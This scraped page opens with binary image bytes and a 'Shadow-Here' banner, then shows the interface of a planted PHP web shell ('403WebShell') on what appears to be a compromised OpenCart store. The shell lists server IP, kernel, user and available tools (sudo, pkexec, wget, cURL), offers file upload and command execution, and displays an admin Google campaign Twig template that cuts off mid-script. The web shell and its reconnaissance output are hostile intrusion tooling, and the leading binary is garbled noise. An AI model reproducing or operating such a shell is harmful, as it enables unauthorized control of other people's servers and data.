....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 107.180.102.13  /  Your IP : 216.73.216.161
Web Server : Apache
System : Linux ip-107-180-102-13.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : nobody ( 99)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/egdeals/public_html/admin/view/template/extension/advertise/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/egdeals/public_html/admin/view/template/extension/advertise/google_campaign.twig
{{ header }}
{{ column_left }}
<div id="content">
    <div class="page-header">
        <div class="container-fluid">
            <div class="pull-right">
                <a href="{{ text_video_tutorial_url_install }}" target="_blank" class="btn btn-info" data-toggle="tooltip" title="{{ button_video_tutorial_install }}"><i class="fa fa-video-camera"></i></a>
                <a href="{{ cancel }}" class="btn btn-default" data-toggle="tooltip" title="{{ button_cancel }}"><i class="fa fa-reply"></i></a>
            </div> 
            <h1>{{ heading_title }}</h1>
            <ul class="breadcrumb">
                {% for breadcrumb in breadcrumbs %}
                <li><a href="{{ breadcrumb.href }}">{{ breadcrumb.text }}</a></li>
                {% endfor %}
            </ul>
        </div>
    </div>
    <div class="container-fluid">
        {% if not from_dashboard %}
            {{ steps }}
        {% endif %}
        <div id="alerts">
            {% if success %}
                <div class="alert alert-success alert-dismissible" role="alert">
                    <button type="button" class="close" data-dismiss="alert" aria-label="{{ text_close }}"><span aria-hidden="true"><i class="fa fa-close"></i></span></button>
                    <i class="fa fa-check-circle" aria-hidden="true"></i>&nbsp;{{ success }}
                </div>
            {% endif %}
            {% if error %}
                <div class="alert alert-danger alert-dismissible" role="alert">
                    <button type="button" class="close" data-dismiss="alert" aria-label="{{ text_close }}"><span aria-hidden="true"><i class="fa fa-close"></i></span></button>
                    <i class="fa fa-exclamation-triangle" aria-hidden="true"></i>&nbsp;{{ error }}
                </div>
            {% endif %}
            {% if warning %}
                <div class="alert alert-warning alert-dismissible" role="alert">
                    <button type="button" class="close" data-dismiss="alert" aria-label="{{ text_close }}"><i class="fa fa-close"></i></button>
                    <i class="fa fa-info-circle"></i>&nbsp;{{ warning }}
                </div>
            {% endif %}
        </div>
        <div class="row">
            <div class="col-md-9">
                <div class="panel panel-default">
                    <div class="panel-heading">
                        <h3 class="panel-title">
                            <i class="fa fa-pencil"></i>&nbsp;
                            <span>
                                {% if from_dashboard %}
                                    {{ text_panel_heading_campaign_2 }}
                                {% else %}
                                    {{ text_panel_heading_campaign }}
                                {% endif %}
                            </span>
                        </h3>
                    </div>
                    <div class="panel-body">
                        <form action="{{ action }}" method="post" enctype="multipart/form-data" id="form" class="form-horizontal">
                            <div class="form-group required">
                                <label class="col-sm-2 control-label">{{ entry_campaign }}</label>
                                <div class="col-sm-10">
                                    <div id="targets">
                                        {% if targets %}
                                            <div class="table-responsive">
                                                <table class="table table-bordered table-hover">
                                                    <thead>
                                                        <tr>
                                                            <th class="text-left">{{ entry_campaign_name }}</th>
                                                            <th class="text-center">{{ entry_country }}</th>
                                                            <th class="text-center">{{ entry_budget }}</th>
                                                            <th class="text-left">{{ entry_feed }}</th>
                                                            <th class="text-center">{{ entry_roas }}</th>
                                                            <th class="text-center">{{ entry_status }}</th>
                                                            <th class="text-right">{{ entry_action }}</th>
                                                        </tr>
                                                    </thead>
                                                    <tbody id="list">
                                                        {% for target in targets %}
                                                            <tr>
                                                                <td class="text-left">{{ target.campaign_name }}</td>
                                                                <td class="text-center">{{ target.country.name }}</td>
                                                                <td class="text-center">{{ target.budget.formatted }}</td>
                                                                <td class="text-left">
                                                                    <ul>
                                                                        {% for feed in target.feeds %}
                                                                            <li>{{ feed.text }}</li>
                                                                        {% endfor %}
                                                                    </ul>
                                                                </td>
                                                                <td class="text-center">
                                                                    {% if target.roas_status %}
                                                                        {{ target.roas }}&#37;
                                                                    {% else %}
                                                                        <span class="label label-default" data-toggle="tooltip" data-original-title="{{ target.roas_warning }}">{{ text_label_unavailable }}</span>
                                                                    {% endif %}
                                                                </td>
                                                                <td class="text-center">
                                                                    {% if target.status == 'paused' %}
                                                                        <span class="label label-warning">{{ text_label_paused }}</span>
                                                                    {% elseif target.status == 'active' %}
                                                                        <span class="label label-success">{{ text_label_active }}</span>
                                                                    {% endif %}
                                                                </td>
                                                                <td class="text-right">
                                                                    <button class="btn btn-primary button-target-edit" data-toggle="tooltip" title="{{ button_edit }}" data-target-id="{{ target.target_id }}"><i class="fa fa-pencil"></i></button>
                                                                    <button class="btn btn-danger button-target-delete" data-toggle="tooltip" title="{{ button_delete }}"  data-target-id="{{ target.target_id }}"><i class="fa fa-trash"></i></button>
                                                                </td>
                                                            </tr>
                                                        {% endfor %}
                                                    </tbody>
                                                </table>
                                            </div>
                                        {% else %}
                                            <div class="alert alert-warning"><i class="fa fa-warning"></i> {{ text_no_targets }}</div>
                                        {% endif %}
                                    </div>
                                    <div>
                                        <button id="button-target-add" class="btn btn-default"><i class="fa fa-plus"></i> {{ button_add_target }}</button>
                                    </div>
                                </div>
                            </div>
                            <!--div class="form-group">
                                <label class="col-sm-2 control-label">{{ entry_auto_advertise }}</label>
                                <div class="col-sm-10">
                                    <label class="radio-inline">
                                        <input type="radio" name="advertise_google_auto_advertise" value="1" {{ advertise_google_auto_advertise == '1' ? 'checked="checked"' }}>
                                        {{ text_yes }}
                                    </label>
                                    <label class="radio-inline">
                                        <input type="radio" name="advertise_google_auto_advertise" value="0" {{ advertise_google_auto_advertise == '0' ? 'checked="checked"' }}>
                                        {{ text_no }}
                                    </label>
                                </div>
                            </div-->
                            <hr />
                            {% if not from_dashboard %}
                            <div class="alert alert-info text-left">
                                <div class="checkbox">
                                    <label><input type="checkbox" class="acknowledge" /> {{ text_acknowledge_add_campaign_1 }}</label>
                                </div>
                                <div class="checkbox">
                                    <label><input type="checkbox" class="acknowledge" /> {{ text_acknowledge_add_campaign_2 }}</label>
                                </div>
                            </div>
                            {% endif %}
                            <div class="pull-right">
                                <button type="submit" {{ not from_dashboard ? 'disabled' }} class="btn btn-primary" id="proceed">{{ button_proceed }}</button>
                            </div>
                        </form>
                    </div>
                </div>
            </div>
            <div class="col-md-3">
                <div class="panel panel-default">
                    <div class="panel-heading">
                        <h3 class="panel-title"><i class="fa fa-info-circle"></i>&nbsp;<span>{{ text_panel_heading_more_info }}</span></h3>
                    </div>
                    <div class="panel-body">
                        {{ text_campaign_more_info }}
                    </div>
                </div>
                <div class="panel panel-default">
                    <div class="panel-heading">
                        <h3 class="panel-title"><i class="fa fa-image"></i>&nbsp;<span>{{ text_panel_heading_preview }}</span></h3>
                    </div>
                    <div class="panel-body text-center">
                        <img id="ad-preview" src="view/image/advertise/google/ad-preview.png" />
                    </div>
                </div>
            </div>
    </div>
</div>
<style type="text/css">
    .feed {
        position: relative;
    }

    .feed > .row {
        padding-right: 60px;
    }

    .button-feed-delete {
        position: absolute;
        top: 9px;
        right: 0;
    }

    #feeds > .feed:first-child > .row {
        margin-top: -9px;
    }

    #ad-preview {
        max-width: 100%;
    }
</style>
<script type="text/template" id="template-targets">
    <div class="table-responsive">
        <table class="table table-bordered table-hover">
            <thead>
                <tr>
                    <th class="text-left">{{ entry_campaign_name }}</th>
                    <th class="text-center">{{ entry_country }}</th>
                    <th class="text-center">{{ entry_budget }}</th>
                    <th class="text-left">{{ entry_feed }}</th>
                    <th class="text-center">{{ entry_roas }}</th>
                    <th class="text-center">{{ entry_status }}</th>
                    <th class="text-right">{{ entry_action }}</th>
                </tr>
            </thead>
            <tbody id="list">
                
            </tbody>
        </table>
    </div>
</script>
<script type="text/template" id="template-list-element">
    <tr>
        <td class="text-left">{campaign_name}</td>
        <td class="text-center">{country}</td>
        <td class="text-center">{budget}</td>
        <td class="text-left">{feeds}</td>
        <td class="text-center">{roas}</td>
        <td class="text-center">{status}</td>
        <td class="text-right">
            <button class="btn btn-primary button-target-edit" data-toggle="tooltip" title="{{ button_edit }}" data-target-id="{target_id}"><i class="fa fa-pencil"></i></button>
            <button class="btn btn-danger button-target-delete" data-toggle="tooltip" title="{{ button_delete }}" data-target-id="{target_id}"><i class="fa fa-trash"></i></button>
        </td>
    </tr>
</script>
<script type="text/template" id="template-modal">
    <div id="target-modal" class="modal fade" tabindex="-1" role="dialog" data-backdrop="static">
        <div class="modal-dialog modal-lg" role="document">
            <div class="modal-content">
                <div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal"><i class="fa fa-close"></i></button>
                    <h4 class="modal-title">{title}</h4>
                </div>
                <div class="modal-body form-horizontal">
                    <div id="target-alerts"></div>
                    <div class="form-group required" data-error-type="error_campaign_name">
                        <label for="input-campaign-name" class="col-sm-3 control-label">{{ entry_campaign_name }}</label>
                        <div class="col-sm-9">
                            <input type="text" class="form-control" id="input-campaign-name" name="campaign_name" value="{campaign_name}" />
                        </div>
                    </div>
                    <div class="form-group">
                        <label class="col-sm-3 control-label">{{ entry_status }}</label>
                        <div class="col-sm-9">
                            <select class="form-control" name="status" id="select-status" data-value="{status}">
                                <option value="active">{{ text_active }}</option>
                                <option value="paused">{{ text_paused }}</option>
                            </select>
                        </div>
                    </div>
                    <div class="form-group required" data-error-type="error_country">
                        <label for="select-country" class="col-sm-3 control-label">{{ entry_country }}</label>
                        <div class="col-sm-9">
                            <select class="form-control" name="country" id="select-country" data-value="{country}">
                                <option value="">{{ text_select_country }}</option>
                            </select>
                        </div>
                    </div>
                    <div class="form-group" data-error-type="error_roas">
                        <label for="input-roas" class="col-sm-3 control-label">{{ entry_roas }}</label>
                        <div class="col-sm-9">
                            <div class="alert alert-info"><i class="fa fa-info-circle"></i> {{ help_roas }}</div>
                            <div id="warning-roas" class="alert alert-warning" style="display: none;"><i class="fa fa-exclamation-triangle"></i> {roas_warning}</div>
                            <div class="input-group">
                                <input type="number" class="form-control" id="input-roas" name="roas" value="{roas}" min="0" />
                                <div class="input-group-addon"><i class="fa fa-percent"></i></div>
                            </div>
                        </div>
                    </div>
                    <div class="form-group required" data-error-type="error_budget">
                        <label for="input-budget" class="col-sm-3 control-label">{{ entry_budget }}</label>
                        <div class="col-sm-9">
                            <div class="alert alert-info"><i class="fa fa-info-circle"></i> {{ help_budget }}</div>
                            <div id="warning-budget" class="alert alert-warning" style="display: none;"><i class="fa fa-exclamation-triangle"></i> {{ warning_budget }}</div>
                            <div class="input-group">
                                <div class="input-group-addon"><i class="fa fa-dollar"></i></div>
                                <input type="number" class="form-control" id="input-budget" name="budget" value="{budget}" min="5" />
                                <div class="input-group-addon">{{ text_usd_day }}</div>
                            </div>
                        </div>
                    </div>
                    <div class="form-group required" data-error-type="error_feed">
                        <label class="col-sm-3 control-label">{{ entry_feed }}</label>
                        <div class="col-sm-9">
                            <div class="alert alert-info"><i class="fa fa-info-circle"></i> {{ help_feed }}</div>
                            <div id="feeds">{feeds}</div>
                            <div>
                                <button id="button-feed-add" class="btn btn-success"><i class="fa fa-plus"></i> {{ button_add_feed }}</button>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-default" data-dismiss="modal"><i class="fa fa-close"></i> {{ button_close }}</button>
                    <button type="button" class="btn btn-primary" id="button-target-save" data-text="{{ button_save }}" data-loading="{{ text_loading_please_wait }}" data-url="{url}"><i class="fa fa-save"></i> {{ button_save }}</button>
                </div>
            </div>
        </div>
    </div>
</script>
<script type="text/template" id="template-feed">
    <div class="feed" data-id="{id}">
        <div class="row">
            <div class="col-md-6 form-control-static">
                <select class="form-control" name="feed[{id}][language]" data-value="{language}">
                    <option value="">{{ text_select_language }}</option>
                    {languages}
                </select>
            </div>
            <div class="col-md-6 form-control-static">
                <select class="form-control" name="feed[{id}][currency]" data-value="{currency}">
                    <option value="">{{ text_select_currency }}</option>
                    {currencies}
                </select>
            </div>
        </div>
        <button class="button-feed-delete btn btn-default" data-toggle="tooltip" title="{{ button_delete }}"><i class="fa fa-trash"></i></button>
    </div>
</script>
<script type="text/template" id="template-alert">
    <div class="alert alert-{type} alert-dismissible" role="alert">
        <button type="button" class="close" data-dismiss="alert" aria-label="{{ text_close }}"><span aria-hidden="true"><i class="fa fa-close"></i></span></button>
        <i class="fa fa-{icon}" aria-hidden="true"></i>&nbsp;{message}
    </div>
</script>
<script type="text/javascript">
(function($) {
    var allowed_targets = {{ json_allowed_targets }};

    var targets = {{ json_targets }};

    var id = 0;

    var selector = {
        alerts: '#alerts',
        acknowledge: '.acknowledge',
        save: '#proceed',
        form: '#form',
        target: {
            container: '#targets',
            list: '#list',
            modal: '#target-modal',
            alerts: '#target-alerts',
            add : '#button-target-add',
            edit: '.button-target-edit',
            delete: '.button-target-delete',
            country : '#select-country',
            status : '#select-status',
            save: '#button-target-save',
            budget: '#input-budget',
            warning_budget: '#warning-budget',
            roas: '#input-roas',
            warning_roas: '#warning-roas'
        },
        feed: {
            container: '#feeds',
            error_type: '[data-error-type]',
            language: 'select[name*="[language]"]',
            currency: 'select[name*="[currency]"]',
            add : '#button-feed-add',
            delete: '.button-feed-delete',
            row: '.feed'
        },
        template : {
            alert: '#template-alert',
            modal : '#template-modal',
            feed : '#template-feed',
            targets: '#template-targets',
            list_element: '#template-list-element'
        }
    };

    var template = function(html, data) {
        $.map(data, function(text, key) {
            html = html.replace(new RegExp("{" + key + "}", 'g'), text);
        });

        return html;
    };

    var makeModalHtml = function(data) {
        var html = $(selector.template.modal).html();

        return template(html, data);
    };

    var makeFeedsHtml = function(data) {
        var html = $(selector.template.feed).html();

        data.languages = '';
        data.currencies = '';

        // Set the feed countries
        $(allowed_targets).each(function(index, target) {
            if (target.country.code == $(selector.target.country).val()) {
                $(target.languages).each(function(index, language) {
                    data.languages += '<option value="' + language.code + '" ' + (language.status ? '' : 'disabled') + '>' + language.name + '</option>';
                });

                $(target.currencies).each(function(index, currency) {
                    data.currencies += '<option value="' + currency.code + '" ' + (currency.status ? '' : 'disabled') + '>' + currency.name + '</option>';
                });
            }
        });

        return template(html, data);
    };

    var makeAlertHtml = function(data) {
        var html = $(selector.template.alert).html();

        return template(html, data);
    };

    var displayError = function(container, message) {
        $(container).html(makeAlertHtml({
            icon: 'exclamation-triangle',
            type: 'danger',
            message: message
        }));
    };

    var makeListElementHtml = function(data) {
        var html = $(selector.template.list_element).html();

        return template(html, data);
    }

    var makeListElementRoasHtml = function(roas_status, roas_warning, roas) {
        if (!roas_status) {
            return '<span class="label label-default" data-toggle="tooltip" data-original-title="' + roas_warning + '">{{ text_label_unavailable }}</span>';
        } else {
            return roas.toString() + '&#37;';
        }
    }

    var makeListElementStatusHtml = function(status) {
        if (status == 'paused') {
            return '<span class="label label-warning">{{ text_label_paused }}</span>';
        } else if (status == 'active') {
            return '<span class="label label-success">{{ text_label_active }}</span>';
        }

        return '';
    }

    var makeListElementFeedsHtml = function(feeds) {
        html = '<ul>';
        $(feeds).each(function(index, feed) {
            html += '<li>' + feed.text + '</li>';
        });
        html += '</ul>';

        return html;
    }

    var displaySuccess = function(message) {
        $(selector.alerts).html(makeAlertHtml({
            icon: 'check-circle',
            type: 'success',
            message: message
        }));
    };

    var refreshTargets = function(callback) {
        $.ajax({
            url: '{{ target_list }}',
            type: 'GET',
            dataType: 'json',
            beforeSend: function() {
